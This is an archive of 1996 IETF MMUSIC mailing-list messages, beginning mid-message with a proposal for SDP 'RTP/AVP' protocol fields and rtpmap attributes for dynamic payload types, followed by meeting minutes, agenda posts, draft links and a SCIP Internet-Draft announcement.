  4 add a new profile field

4 is undesirable as concept of a profile is RTP specific, and although
we expect SDP to be used primarily for RTP media streams, we wish to
avoid constraining it to be used so.

3 is how SDP was originally specified.  The split was made to avoid
overloading of the format field, as there are a number of well defined
(eg ITU standard) formats that will quite likely be carried over
different protocols in different environments (SDP is not restricted
to use in sd like tools).

I originally favoured 2, as that seemed to make it simpler for generic
RTP monitoring/recording tools to be started for RTP based media.
However, Steve has convinced me that for all purposes expect generic
loss monitoring, the protocol specification is incomplete without the
profile being specified, and that this makes it easier to solve the
problem of dynamic payload type mappings.  In addition, although a
media tool may operate with more than one payload type from a single
profile, no media tool will switch between profiles for a single media
stream.  


Currently only the AV profile is defined.  The protocol field for RTP
based applications operating under this profile will thus be "RTP/AVP"
(the slash notation is consistent with other grouping conventions in
use in SDP, though it should probably be explained somewhere in the
next draft).  Should new RTP profiles be defined, their protocol field
will follow the same format (RTP/???).  


The second part of the problem Steve identified was how to deal with
dynamic payload types.  We seem to be undergoing the start of an
explosion in new and experimental payload types as new encodings are
developed which are more appropriate that traditional ITU standards
for packet networks.  It is not clear to either of us whether anything
other than ITU standards will have static payload types - it is not
impossible that dynamic payload types will be used by the majority of
the new encodings currently being developed, and thus it seems
appropriate SDP should be one of the primary mechanisms used to bind
dynamic payload types to particular encodings.  It is clear that
whatever we do with SDP, some configuation of SDP clients (however
this configuration is done) is required to map particular encoding
names onto particular media tools.  Given that the RTP payload type is
only 7 bits, that many new experimental encodings and being developed
and that new adaptive tools may switch encodings between a
significantly large range of alternatives, it seems likely that
per-session binding of dynamic payload types to particular encodings
(or instantiations of encodings) will be desirable in SDP.

Taking this into account, what we're proposing for RTP based media
streams is to put a *list* of payload type *numbers* in the format
field.  If, under the relevant profile, the payload type is a static
allocation, then no further fields are necessary.  If however, the
payload type is a dynamic one, then an additional field is needed to
define the mapping of payload type to media format.  

For 8KHz PCMU mono audio, we would simply use:

m=audio 12345 RTP/AVP 0

(0 is the static payload type defined for 8KHz PCMU mono audio in RTP/AVP)

A more complex example is:

m=audio 12345 RTP/AVP 96 97 98
a=rtpmap:96 L8/8000
a=rtpmap:97 L16/8000
a=rtpmap:98 L16/11025/2

In this case, L8 and L16 are defined in the RTP AVP as names for 8 bit
linear sampling and linear 16 bit linear sampling.  However, not
payload type is given, as the clock rate and number of channels may
vary.

The general format for an rtpmap attribute is:

RTPMAP::= "a=rtpmap:" <payload type> space <encoding name> "/"  <clock rate>
	  [ "/" <number of channels>]

<number of channels> is ommited if it is one or is not applicable.


Now there is still question is what to do about new encoding types.
Even though there may be no static assignment of payload types, I
expect that encoding types will need to be registered with IANA.  To
allow experimental encoding types to be used, these should be prefaced
with "X-" in the traditional way.  For example, a redundant-audio
stream might be defined as:

m=audio 12345 RTP/AVP 99
a=rtpmap:99 X-GSMLPC/8000

This obviously requires sites that wish to receive this stream to have
appropriate configuration state for GSMLPC to enable them to know
which tool to start and what the command line options should be.


Now I should emphasize that I don't expect all this complexity to be
visible to the user - it should be hidden behind a sensible interface.
The current sdr interface for creating session is already too
complicated for "normal" (ie RTP unaware) users, and should be
simplified anyway.  There has been some talk of discouraging people
from creating vat protocol (as opposed to RTP audio) sessions by
making it ugly to do so in SDP - I think this is the wrong place for
such social engineering, although I have no problem with doing so in
the sdr user interface :-)


Comments and/or suggestions are of course welcome!

Have a happy new year!

Mark








From owner-confctrl@ISI.EDU  Mon Jan 29 20:14:11 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA08406>; Mon, 29 Jan 1996 20:14:12 -0800
Received: from hp.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA08402>; Mon, 29 Jan 1996 20:14:11 -0800
Received: from mail.jp.hpl.hp.com (hpujlj42.jp.hpl.hp.com) by hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA094415218; Mon, 29 Jan 1996 20:13:38 -0800
Received: (from farhad@localhost) by mail.jp.hpl.hp.com (8.6.12+2.4W/3.4Wbeta3-HPLJ-MailGateway1.30-960126) id NAA19254; Tue, 30 Jan 1996 13:13:35 +0900
From: Farhad Islam <farhad@jp.hpl.hp.com>
Received: from hpujlj52.jp.hpl.hp.com (hpujlj52.jp.hpl.hp.com [15.12.236.52]) by mail.jp.hpl.hp.com (8.6.12+2.4W/3.4Wbeta3-HPLJ-MailGateway1.30-960126) with ESMTP id NAA19251; Tue, 30 Jan 1996 13:13:34 +0900
Received: by hpujlj52.jp.hpl.hp.com (1.37.109.16/3.4Wbeta3-HPLJ-local1.23-950811)
	id AA101215644; Tue, 30 Jan 1996 13:20:44 +0900
Message-Id: <199601300420.AA101215644@hpujlj52.jp.hpl.hp.com>
Subject: Need advice
To: schooler@cs.caltech.edu, rlang@sri.com, m.handley@cs.ucl.ac.uk
Date: Tue, 30 Jan 96 13:20:43 JST
Cc: confctrl
Mailer: Elm [revision: 70.85]

Hi,

This is Farhad from Hewlett-Packard Labs-Japan (HPLJ).

We are working on a multipoint video conferencing system and would
like to submit proposals on related session protocols in your
organization.

I would therefore appreciate information on the current state of
MMUSIC WG, future meeting schedule, call for proposals, etc.

Any other relevant information will also be welcome.

Thanks for your time and attention.

Regards,

Farhad

--------------------------------------------------------------------------
Farhad F. Islam                    
                                   
Networked Multimedia Group         Phone: +81-44-812-5842 (TELNET:375-5842)
Hewlett-Packard Labs Japan         Phone: +81-44-812-9757 (Operator)
3-2-2 Sakado Takatsu-ku            Fax:   +81-44-812-5247 (TELNET:375-631)
Kawasaki 213 JAPAN                 e-mail: farhad@jp.hpl.hp.com 

From owner-confctrl@ISI.EDU  Sun Feb  4 20:49:45 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12112>; Sun, 4 Feb 1996 20:50:42 -0800
Received: from hp.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA12101>; Sun, 4 Feb 1996 20:49:45 -0800
Received: from mail.jp.hpl.hp.com (hpujlj42.jp.hpl.hp.com) by hp.com with ESMTP
	(1.37.109.16/15.5+ECS 3.3) id AA271915778; Sun, 4 Feb 1996 20:49:38 -0800
Received: (from farhad@localhost) by mail.jp.hpl.hp.com (8.6.12+2.4W/3.4Wbeta3-HPLJ-MailGateway1.30-960126) id NAA15497; Mon, 5 Feb 1996 13:48:23 +0900
From: Farhad Islam <farhad@jp.hpl.hp.com>
Received: from hpujlj52.jp.hpl.hp.com (hpujlj52.jp.hpl.hp.com [15.12.236.52]) by mail.jp.hpl.hp.com (8.6.12+2.4W/3.4Wbeta3-HPLJ-MailGateway1.30-960126) with ESMTP id NAA15494; Mon, 5 Feb 1996 13:48:22 +0900
Received: by hpujlj52.jp.hpl.hp.com (1.37.109.16/3.4Wbeta3-HPLJ-local1.23-950811)
	id AA139126136; Mon, 5 Feb 1996 13:55:36 +0900
Message-Id: <199602050455.AA139126136@hpujlj52.jp.hpl.hp.com>
Subject: MBone SDP
To: confctrl
Date: Mon, 5 Feb 96 13:55:35 JST
Cc: M.Handley@cs.ucl.ac.uk, van@ee.lbl.gov
Mailer: Elm [revision: 70.85]

Hello,

Could anyone please suggest where I may find detail 
description / explanation of the MBone Session Description Protocols (SDP)?

By the way, I have gone through the IETF draft document titled:
``SDP: Session Description Protocol" dated Nov. 22, 1995 and authored by 
Mark Handley and Van Jacobson. In this document, SDP version 2 has been
discussed. But I need to be intoduced with the basic version of SDP.

Thanks in advance for your kind cooperation.

Regards,

Farhad

--------------------------------------------------------------------------
Farhad F. Islam                    
                                   
Networked Multimedia Group         Phone: +81-44-812-5842 (TELNET:375-5842)
Hewlett-Packard Labs Japan         Phone: +81-44-812-9757 (Operator)
3-2-2 Sakado Takatsu-ku            Fax:   +81-44-812-5247 (TELNET:375-631)
Kawasaki 213 JAPAN                 e-mail: farhad@jp.hpl.hp.com 

From owner-confctrl@ISI.EDU  Wed Feb  7 15:24:11 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA17478>; Wed, 7 Feb 1996 07:42:22 -0800
Received: from mailhost.lut.ac.uk (bgate.lut.ac.uk) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA17474>; Wed, 7 Feb 1996 07:42:18 -0800
Received: from pipkin.lut.ac.uk by hpd.lut.ac.uk (15.11/SMI-4.1) id AA10514;
          Wed, 7 Feb 96 15:24:12 gmt
Sender: ben@lut.ac.uk
Message-Id: <3118C41B.2781E494@lut.ac.uk>
Date: Wed, 07 Feb 1996 15:24:11 +0000
From: Ben Anderson <B.Anderson@lut.ac.uk>
Organization: LUTCHI Research Centre
X-Mailer: Mozilla 2.0 (X11; I; SunOS 4.1.4 sun4m)
Mime-Version: 1.0
To: confctrl
Subject: Last MMUSIC meeting minutes?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

were there any minutes from the last MMUSIC meeting? The latest ones I
could find at ftp.isi.edu were from 7.95.

cheers
Ben.
-- 
http://pipkin.lut.ac.uk/~ben/sig.html

From owner-confctrl@ISI.EDU  Wed Feb  7 17:53:05 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA24811>; Wed, 7 Feb 1996 09:54:33 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA24802>; Wed, 7 Feb 1996 09:54:24 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA10325>; Wed, 7 Feb 1996 09:53:58 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.29971-0@bells.cs.ucl.ac.uk>; Wed, 7 Feb 1996 17:53:11 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: Computer Science, University College London
Phone: +44 71 387 7050 ext 3666
To: Ben Anderson <B.Anderson@lut.ac.uk>
Cc: confctrl
Subject: Re: Last MMUSIC meeting minutes?
Date: Wed, 07 Feb 1996 17:53:05 +0000
Message-Id: <1710.823715585@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


> were there any minutes from the last MMUSIC meeting? The latest ones I
> could find at ftp.isi.edu were from 7.95.

I sent preliminary minutes with the intention of turning them into
full minutes later.  This hasn't happened - here are the preliminary
minutes.

I intend to send some more on SDP, SDAP, a general architecture
overview document, and strawman proposals for coordination and
invitation protocols in the next week or so.

Mark

--------

The first half hour was given over to a presentation by Robert Webber
on the ITU-T's decision to copy rather than reference the RTP spec,
and to dscussion of this issue.  This is strictly AVT business, but as
there was no AVT meeting scheduled, MMUSIC was considered the most
relevant group to air this late breaking news.  Scott Bradner stated
that he would persue this urgently.
See ftp://ftp.std.com/vendors/PictureTel/h323 for details of the H323.

Joerg Ott presented the recent developments on T.120 and H.323.  The
ITU-T conferencing group has been moving forward very quickly and
concern was raised that little concern was being shown in the ITU for
wide area IP conferencing issues, but that most companies were already
committed to implementing whatever the ITU come up with.

Mark Handley queried whether there is a need to spawn a new IETF WG to
address the issues raised by the ITU and to attempt to fix the ITU
protocols shortcomings in the wide area internet.  The consensus of
the group was that this was undesirable, though this was not
unanimous.  One person commented that perhaps MMUSIC and AVT should
now be merged into an internet conferencing WG, which might be better
placed to respond to these inter-WG issues.

Mark Handley presented the small number of changes that have been made
to SDp since Stockholm.  No significant objection was raised to these
changes.  Steve Casner raised some issues that the current draft does
not adequately address.  It was agreed this issues regarding dynamic
payload types in RTP need to be addressed before teh current draft
could be taken forward to Proposed Standard.

Mark Handley presented a Stawman protcol for the Session Directory
Announcement Protocol.  No significant objections were raised to this
protocol.  Steve Deering suggested that the IPsec work was suitable
for authentication in SDAP.

Carsten Bormann presented a talk on Local Session State Objects.  No
discussion resulted due to lack of time.

Mark Handley presented a Strawman protocol for a vertical Session
Coordination Protocol which is based on LBL's conference bus
architecture found in vat and vic.  Due to lack of time no discussion
followed.




------- End of Forwarded Message


From owner-confctrl@ISI.EDU  Fri Feb  9 11:03:49 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA13821>; Thu, 8 Feb 1996 23:03:54 -0800
Received: from tel1.tte.vtt.fi by venera.isi.edu (5.65c/5.61+local-22)
	id <AA13817>; Thu, 8 Feb 1996 23:03:51 -0800
Received: from tte2101.tte.vtt.fi (tte2101.tte.vtt.fi [130.188.12.201]) by tel1.tte.vtt.fi (8.6.11/8.6.11) with SMTP id JAA21503 for <confctrl@ISI.EDU>; Fri, 9 Feb 1996 09:03:49 +0200
Date: Fri, 9 Feb 1996 09:03:49 +0200
Message-Id: <199602090703.JAA21503@tel1.tte.vtt.fi>
X-Sender: juuso@tel.vtt.fi
X-Mailer: Windows Eudora Version 2.1.1
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl
From: Juuso Pesola <juuso@tel.vtt.fi>
Subject: unsubscribe

 unsubscribe me.      


From owner-confctrl@ISI.EDU  Thu Feb  8 12:22:07 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA17499>; Fri, 9 Feb 1996 01:04:09 -0800
Received: from delirius (delirius.cs.uiuc.edu) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA17265>; Thu, 8 Feb 1996 16:22:09 -0800
Received: from glorius.srg by delirius (SMI-8.6/SMI-SVR4)
	id SAA11479; Thu, 8 Feb 1996 18:22:08 -0600
Received: by glorius.srg (SMI-8.6/SMI-SVR4)
	id SAA00617; Thu, 8 Feb 1996 18:22:07 -0600
Date: Thu, 8 Feb 1996 18:22:07 -0600
From: stan@delirius.cs.uiuc.edu (See-Mong Tan)
Message-Id: <199602090022.SAA00617@glorius.srg>
To: confctrl
Subject: Video Mosaic source and binary release

------------------------------------------------------------------------
Feb 9, 1996, Software Research Group, CS Dept., University of Illinois 

Vosaic integrates the organization, retrieval and navigation of 
continuous media into the World Wide Web.  The Vosaic system includes a 
Web browser, server, and Video Datagram Protocol (VDP) that adapt to network 
load and client CPU conditions.  Html extensions embed continuous or stored 
real-time video and audio in Web documents.  The extensions may specify the 
starting and finishing frame of any clip of stored audio or video.
Frame-based video annotations embed dynamic hyperlinks displayed as visible 
areas within the video data stream.  Meta-information provides search 
capabilities for video databases. 

The newest B2.96 Release supports SGI and Sun (Solaris) browsers
and SGI, Sun and HP servers.  Users may create hypervideo documents using 
hyperlink editors and parse file generators included with the release.
Although a variety of compression algorithms work with Vosaic, the current
release supports MPEG-1 video and MPEG layer I or II sound.  Software to create 
appropriate MPEG sources are available though links on the Vosaic Web site.
Free binaries for Vosaic are available. Source is available at no charge to 
researchers and developers who agree to the terms of the Vosaic developer's 
licence.

The Vosaic documentation and software is available from the Web site

                   http://www.uiuc.edu/ph/www/vosaic.

Two papers, one old and one new, describe the architecture. Browsers may view
National Park and India footage as well as other demos at our site.  Example 
Web course materials with embedded video being developed for a Multimedia and 
Operating System classes will also be available from time to time.

Vosaic was developed by the Systems Research Group of the Department of
Computer Science, University of Illinois at Urbana-Champaign.  The Vosaic
team includes Professor Roy Campbell, Zhigang Chen and See-Mong Tan of
the University of Illinois, and Dong Xie of the University of Oslo, Norway.
We welcome comments and feedback.  E-mail may be addressed to vosaic@uiuc.edu.

We hope you enjoy Vosaic.  If you set up a video server, please let us
know.

From owner-confctrl@ISI.EDU  Sun Feb 18 15:40:12 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA22836>; Sun, 18 Feb 1996 17:40:23 -0800
Received: from sioux.eel.ufl.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA22830>; Sun, 18 Feb 1996 17:40:15 -0800
Received:  from iriquois.eel.ufl.edu  by sioux.eel.ufl.edu (1.39.111.2/16.2)
	id AA145374014; Sun, 18 Feb 1996 20:40:14 -0500
From: "Mahesh Ramachandran" <rr@eel.ufl.edu>
Message-Id: <199602190140.AA145374014@sioux.eel.ufl.edu>
Subject: sd and sdr
To: confctrl
Date: Sun, 18 Feb 1996 20:40:12 -0500 (EST)
Cc: rr (Mahesh Ramachandran)
Organization: Electrical Engineering, University of Florida     ___
X-Phone: (904) 392-4568                                        <o,o>
X-Operating-System: HP-UX B.10.01 9000/715                     ( . )
X-Url: http://www.eel.ufl.edu/~rr                              -"-"-
X-Mailer: ELM [version 2.4ME+ PL3 (25)]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 173       



Are sd and sdr incompatible? Sessions announced on either of them
dont seem to appear on the other. Isn't SDP v2 supposed to be
backward compatible with SDP v1?

thx
-rr


From owner-confctrl@ISI.EDU  Mon Feb 19 10:14:34 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16125>; Mon, 19 Feb 1996 02:15:48 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16120>; Mon, 19 Feb 1996 02:15:43 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA29052>; Mon, 19 Feb 1996 02:15:28 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06713-0@bells.cs.ucl.ac.uk>; Mon, 19 Feb 1996 10:14:39 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Mahesh Ramachandran <rr@eel.ufl.edu>
Cc: confctrl, rr (Mahesh Ramachandran)
Subject: Re: sd and sdr
In-Reply-To: Your message of "Sun, 18 Feb 1996 20:40:12 EST." <199602190140.AA145374014@sioux.eel.ufl.edu>
Date: Mon, 19 Feb 1996 10:14:34 +0000
Message-Id: <2957.824724874@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>Are sd and sdr incompatible? Sessions announced on either of them
>dont seem to appear on the other. Isn't SDP v2 supposed to be
>backward compatible with SDP v1?

See draft-ietf-mmusic-sdp-01.ps for more details, or later this week I
hope, draft-ietf-mmusic-sdp-02.ps.  The only real changes will be
those I discussed in december.  After the LA IETF I hope we can do a
working group last call on this.  SDP v2 is not backwards compatible
with SDP v1.

sd and sdr are not compatible - we abandoned that about a year ago due to 
some of the constraints it would have involved.

Global sd sessions normally get relayed to sdr by a gateway at UCL.
Unfortunately yesterday the UK was cut off from the Mbone, so you
wouldn't have seen these relayed messages.  sdr sessions are not
gatewayed to sd because the sd protocol is not rich enough.

Mark

From owner-confctrl@ISI.EDU  Mon Feb 19 17:15:15 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA20848>; Mon, 19 Feb 1996 19:16:40 -0800
Received: from alsys1.aecom.yu.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA20844>; Mon, 19 Feb 1996 19:16:38 -0800
Received: from yu1.yu.edu by alsys1.aecom.yu.edu with SMTP id AA15292
  (5.67b/IDA-1.5/AECOM-RIT for <confctrl@isi.edu>); Mon, 19 Feb 1996 22:16:32 -0500
Received: by yu1.yu.edu (AIX 3.2/UCB 5.64/4.03)
          id AA58169; Mon, 19 Feb 1996 22:15:22 -0500
Date: Mon, 19 Feb 1996 22:15:15 -0500 (EST)
From: Jeff    Stern <sternj@yu1.yu.edu>
To: confctrl
Message-Id: <Pine.A32.3.91.960219221358.32191A-100000@yu1.yu.edu>
Organization: Yeshiva University
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Join Jeff Stern

From owner-confctrl@ISI.EDU  Thu Feb 22 03:01:15 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA25281>; Thu, 22 Feb 1996 11:01:29 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA25275>; Thu, 22 Feb 1996 11:01:28 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA22823; Thu, 22 Feb 96 11:01:15 PST
Date: Thu, 22 Feb 96 11:01:15 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9602221901.AA22823@vlsi.cs.caltech.edu>
To: confctrl
Subject: MMusic at LA IETF
Cc: schooler@cs.caltech.edu, rlang@std.sri.com, mhandley@cs.ucl.ac.uk

Hi All, 

The MMusic WG is scheduled for two sessions at the LA IETF.
Both meetings will be multicast on the MBone.
 
The tentative agenda includes the following topics:

Monday, March 4, 1930-2200.

 SDP  - Session Description Protocol, a newer draft is forthcoming.
 SDAP - Session Directory Announcement Protocol.  Mark has quite a
        bit of running code these days, so his ideas have matured
        since Dallas.
 Conference Architecture Document - at long last!

Tuesday, March 5, 0900-1130.

 SIP  - Session Invitation Protocol, should make it to the I-D editor.
 SCCP - Simple Conference Control Protocol.

We plan to post draft documents for all topics under discussion.  Some
drafts will make the official Internet Draft deadline, others will
not.  Therefore, we will post all reading materials to this mailing list 
and will place copies in the MMusic document archive,

	fttp://ftp.isi.edu/pub/confctrl/docs

[THANK YOU to the many people who have been scurrying around trying to 
 finish writing the last few days/weeks]

Time permitting, other potential topics:

- further discussion of a Session Coordination Protocol
- supporting session rendezvous under WWW/VRML
- a multicast user directory service

Any other suggestions?

See you in LA....

p.s. - in the next few days, the notes and slides from the last meeting 
       will migrate to the archive area as well.

From owner-confctrl@ISI.EDU  Thu Feb 22 20:09:43 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA29785>; Thu, 22 Feb 1996 12:10:01 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA29779>; Thu, 22 Feb 1996 12:10:00 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA17108>; Thu, 22 Feb 1996 12:09:55 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06421-0@bells.cs.ucl.ac.uk>; Thu, 22 Feb 1996 20:09:45 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: schooler@cs.caltech.edu (Eve Schooler)
Cc: confctrl
Subject: Re: MMusic at LA IETF
In-Reply-To: Your message of "Thu, 22 Feb 1996 11:01:15 PST." <9602221901.AA22823@vlsi.cs.caltech.edu>
Date: Thu, 22 Feb 1996 20:09:43 +0000
Message-Id: <2555.825019783@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>The MMusic WG is scheduled for two sessions at the LA IETF.
>Both meetings will be multicast on the MBone.
>
...
>
>Tuesday, March 5, 0900-1130.
>
> SIP  - Session Invitation Protocol, should make it to the I-D editor.
...
>
>We plan to post draft documents for all topics under discussion.  Some
>drafts will make the official Internet Draft deadline, others will
>not.  Therefore, we will post all reading materials to this mailing list 
>and will place copies in the MMusic document archive,
>
>	fttp://ftp.isi.edu/pub/confctrl/docs

The SIP draft is now in
ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-00.ps

Mark

From owner-confctrl@ISI.EDU  Thu Feb 22 08:41:06 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA15835>; Thu, 22 Feb 1996 16:42:14 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA15831>; Thu, 22 Feb 1996 16:42:10 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA24313; Thu, 22 Feb 96 16:41:06 PST
Date: Thu, 22 Feb 96 16:41:06 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9602230041.AA24313@vlsi.cs.caltech.edu>
To: confctrl
Subject: Re: MMusic at LA IETF
Cc: schooler@cs.caltech.edu, rlang@std.sri.com, mhandley@cs.ucl.ac.uk

>The MMusic WG is scheduled for two sessions at the LA IETF.
>Both meetings will be multicast on the MBone.
> 
...
>Monday, March 4, 1930-2200.
>
...
> Conference Architecture Document - at long last!
...
> 
>We plan to post draft documents for all topics under discussion.  Some
>drafts will make the official Internet Draft deadline, others will
>not.  Therefore, we will post all reading materials to this mailing list 
>and will place copies in the MMusic document archive,
>
>	fttp://ftp.isi.edu/confctrl/docs

The Conference Architecture Document is now in 
ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-confarch-00.ps

Eve

From owner-confctrl@ISI.EDU  Fri Feb 23 12:48:14 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA14920>; Fri, 23 Feb 1996 02:54:00 -0800
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-22)
	id <AA14828>; Fri, 23 Feb 1996 02:48:39 -0800
Received: by www45.inria.fr (8.6.12/8.6.12) id LAA01052; Fri, 23 Feb 1996 11:48:14 +0100
Message-Id: <199602231048.LAA01052@www45.inria.fr>
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: confctrl
Subject: Re: MMusic at LA IETF 
In-Reply-To: Your message of "Thu, 22 Feb 1996 20:09:43 GMT."
             <2555.825019783@cs.ucl.ac.uk> 
Date: Fri, 23 Feb 1996 11:48:14 +0100
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>


>
>The SIP draft is now in
>ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-00.ps
>
>Mark

Could you make a text version/compressed version available ?
For bandwidth-challenged Europeans.

Thanks !

-Philipp

----------------------------------------------------------------------
   Philipp Hoschka
   WWW: http://www.inria.fr/rodeo/personnel/hoschka/hoschka.html 
				|   INRIA - WWW Consortium
   hoschka@sophia.inria.fr      |   2004, Route des Lucioles, BP 93
   Tel:(+33) 93 65 79 84        |   06902 Sophia Antipolis Cedex
   Fax:(+33) 93 65 77 65        |   France
----------------------------------------------------------------------

From owner-confctrl@ISI.EDU  Fri Feb 23 10:54:35 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA14962>; Fri, 23 Feb 1996 02:57:21 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA14958>; Fri, 23 Feb 1996 02:57:20 -0800
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA01351>; Fri, 23 Feb 1996 02:57:18 -0800
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10026-0@bells.cs.ucl.ac.uk>; Fri, 23 Feb 1996 10:54:46 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Cc: confctrl
Subject: Re: MMusic at LA IETF
In-Reply-To: Your message of "Fri, 23 Feb 1996 11:48:14 +0100." <199602231048.LAA01052@www45.inria.fr>
Date: Fri, 23 Feb 1996 10:54:35 +0000
Message-Id: <765.825072875@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>>The SIP draft is now in
>>ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-00.ps
>>
>>Mark
>
>Could you make a text version/compressed version available ?
>For bandwidth-challenged Europeans.

Know what you mean :-(

Try:
http://www.cs.ucl.ac.uk/staff/M.Handley/draft-ietf-mmusic-sip-00.ps.gz
and
http://www.cs.ucl.ac.uk/staff/M.Handley/draft-ietf-mmusic-confarch-00.ps.gz

Mark

From owner-confctrl@ISI.EDU  Fri Feb 23 04:47:27 1996
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA22345>; Fri, 23 Feb 1996 07:46:47 -0800
Received: from ietf.cnri.reston.va.us by venera.isi.edu (5.65c/5.61+local-22)
	id <AA22340>; Fri, 23 Feb 1996 07:46:44 -0800
Received: from [127.0.0.1] by IETF.CNRI.Reston.VA.US id aa20924;
          23 Feb 96 9:47 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl
From: Internet-Drafts@CNRI.Reston.VA.US
Reply-To: Internet-Drafts@CNRI.Reston.VA.US
Subject: I-D ACTION:draft-ietf-mmusic-scip-00.txt, .ps
Date: Fri, 23 Feb 96 09:47:27 -0500
Sender: cclark@CNRI.Reston.VA.US
Message-Id:  <9602230947.aa20924@IETF.CNRI.Reston.VA.US>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts 
directories. This draft is a work item of the Multiparty Multimedia Session
Control Working Group of the IETF.                                         

       Title     : Simple Conference Invitation Protocol                   
       Author(s) : H. Schulzrinne
       Filename  : draft-ietf-mmusic-scip-00.txt, .ps
       Pages     : 18
       Date      : 02/22/1996

The conference invitation protocol (SCIP) is an application-level protocol 
for inviting users to multimedia conferences. Network users are identified 
by their universal communication identifier, usually their electronic mail 
address. SCIP offers personal mobility by supporting forwarding and 
redirection. It can reuse the general email infrastructure, including DNS 
MX records, mailing lists and aliases.  The protocol combines aspects of 
HTTP and SMTP and can re-use their security mechanism. The protocol is 
extensible in methods and parameters and is designed to allow 
interoperation with ITU-T T.124 (Generic Conference Control). Extension to 
VCR-control are possible as well. The protocol supports both loose and 
tight conference styles.                                                   

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-scip-00.txt".
 Or 
     "get draft-ietf-mmusic-scip-00.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-scip-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa                                   
        Address:  ftp.is.co.za (196.4.160.8)	
	                                                
     o  Europe                                   
        Address:  nic.nordu.net (192.36.148.17)	
        Address:  ftp.nis.garr.it (192.12.192.10)
	                                                
     o  Pacific Rim                              
        Address:  munnari.oz.au (128.250.1.21)	
	                                                
     o  US East Coast                            
        Address:  ds.internic.net (198.49.45.10)	
	                                                
     o  US West Coast                            
        Address:  ftp.isi.edu (128.9.0.32)  	
	                                                
Internet-Drafts are also available by mail.	
	                                                
